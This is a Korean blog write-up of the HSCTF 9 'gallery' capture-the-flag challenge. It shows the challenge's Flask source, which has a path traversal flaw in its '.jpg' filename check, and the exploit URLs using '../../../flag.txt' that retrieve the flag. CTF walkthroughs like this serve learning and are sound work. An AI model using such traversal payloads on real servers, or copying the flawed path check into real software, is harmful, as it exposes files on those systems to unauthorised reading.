본문 바로가기
CTF

[HSCTF 9] gallery

by skyepodium 2022. 6. 6.

1. 개요

file traversal 문제

 

2. 분석

1) 접속

아무것도 없고 이미지만 있는 사이트를 보니

 

이제는 아 file traversal 문제겠구가 라고 바로 감이 옵니다.

 

2) 소스코드

코드를 보면 flag.txt가 어딘가에 있고

 

다음 2개가 key, value에 꼭 필요하다고  나옵니다.

- image - key

- .jpg - value

import os
import re
from pathlib import Path
from flask import Flask, render_template, request, send_file

app = Flask(__name__)
IMAGE_FOLDER = Path("/images")

@app.route("/")
def index():
	images = [p.name for p in IMAGE_FOLDER.iterdir()]
	return render_template("index.html", images=images)

@app.route("/image")
def image():
	if "image" not in request.args:
		return "Image not provided", 400
	if ".jpg" not in request.args["image"]:
		return "Invalid filename", 400
	
	file = IMAGE_FOLDER.joinpath(Path(request.args["image"]))
	if not file.is_relative_to(IMAGE_FOLDER):
		return "Invalid filename", 400
	
	try:
		return send_file(file.resolve())
	except FileNotFoundError:
		return "File does not exist", 400

@app.route("/flag")
def flag():
	if 2 + 2 == 5:
		return send_file("/flag.txt")
	else:
		return "No.", 400

if __name__ == "__main__":
	app.run()

 

4) 테스트

당연하지만 flag.txt를 바로 적는것은 통과하지 못합니다.

 

 

3. exploit

1) File does not exist

다음과 같이 상대 경로를 붙였을때 File does not exist 으로 에러 문구가 변했습니다. 즉, 소스 코드를 보았을때 필터는 통과한 경우입니다.

http://35.192.129.251:8003/image?image=Abstract-Wallpaper.jpg../flag.txt

2) 올라가기

다음 경로에서 flag를 찾을 수 있었습니다.

http://35.192.129.251:8003/image?image=Abstract-Wallpaper.jpg../../../flag.txt

flag{1616109079_is_a_cool_number}

 

 

'CTF' 카테고리의 다른 글

[HSCTF 9] the-great-directory-egg-hunt  (0) 2022.06.06
[HSCTF 9] ICVC  (0) 2022.06.06
[EZCTF] Save peach  (0) 2022.06.06
[EZCTF] Mario bros!  (0) 2022.06.06
[b01lers CTF] gambler_overflow  (0) 2022.06.06